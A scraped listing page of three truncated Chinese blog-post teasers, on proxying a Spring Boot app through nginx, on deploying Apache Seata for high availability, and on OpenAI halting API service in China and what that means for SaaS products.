前文 记录一下在linux服务器下配置nginx中nginx.conf文件代理访问springboot项目 1. spring boot.yml配置 其他mysql,redis,mybatis等之类的配置就不一一列出了 # 自定义配置 为了等下验证读取的配置文件环境 appName: productserver:port: 8083 # 应用服务 WEB 访问端口s…

Apache Seata 高可用部署实践

本文来自 Apache Seata官方文档&#xff0c;欢迎访问官网&#xff0c;查看更多深度文章。 本文来自 Apache Seata官方文档&#xff0c;欢迎访问官网&#xff0c;查看更多深度文章。 Apache Seata 高可用部署实践 Seata 高可用部署实践 使用配置中心和数据库来实现 Seata 的高…

OpenAI突然停止中国API使用,出海SaaS产品如何化挑战为机遇?

2023年是AI爆发的年代&#xff0c;人工智能带来的信息裂变刷新了整个SaaS行业。在这个AI引领的时代&#xff0c;我们不应该单纯依赖工具本身&#xff0c;而是要理解如何将这些AI功能与行业相结合。 然而&#xff0c;上周OpenAI宣布禁止对中国提供API服务&#xff0c;有一些用户…